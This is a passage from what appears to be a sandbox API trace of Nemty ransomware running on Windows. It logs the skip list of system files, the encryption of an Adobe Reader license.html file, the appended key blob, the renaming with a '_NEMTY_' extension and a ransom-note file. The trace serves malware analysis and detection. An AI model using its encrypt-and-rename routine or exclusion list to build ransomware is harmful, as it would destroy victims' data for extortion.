ftLastWriteTime.dwLowDateTime=0x1aee6e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.297] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.298] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.298] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.298] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.299] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.299] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.300] Sleep (dwMilliseconds=0x5) [0173.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1af330f0, dwHighDateTime=0x1d561e8)) [0173.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1af330f0, dwHighDateTime=0x1d561e8)) [0173.326] GetLastError () returned 0xb7 [0173.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.326] GetLastError () returned 0xb7 [0173.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.326] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.327] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.327] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.327] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="VCCeHxro23wEs12P5SmvK/xOFgoO0cz8KTV+8z2u+eNm3aAsbPai7THPcG0xVtPp\r\ngp+CiCFnfOkmqSKq83fxEbs6WFWFn8Cne2pTKGxtuvrlnpMCEQ7ffoJxqS3BnWS+\r\n3xC/7M35NloxiePSmUw8WfBAxKP/kBiylvPEqMjYLF9vKAVsB7pAxZAbsRblpc+f\r\netU70B9ZvJwSSi2lVk3y3/lLQ2MAhsbBgrt+EpczrUzBM1p13T580jZhOYVj8IPv\r\neE58hssCxMEMBciAdm6rWqAHGd0yMgVGH1er2UvJrIRp38x/LKsJko/l3sOYsfNS\r\njcJW8jlMRN3vXIrmIe1Xjg==\r\n", pcchString=0x653e5dc) returned 1 [0173.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.327] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.327] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=64105) returned 1 [0173.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xfa60) returned 0x6352c48 [0173.327] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.327] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xfa60, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xfa60, lpOverlapped=0x0) returned 1 [0173.333] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.333] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xfa60, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xfa60, lpOverlapped=0x0) returned 1 [0173.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.334] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=64105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfa69 [0173.334] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.334] CloseHandle (hObject=0x3b0) returned 1 [0173.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.334] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html._nemty_kgobjgd_")) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.335] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aee6e30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aee6e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aee6e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.335] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.336] HeapFree (in: 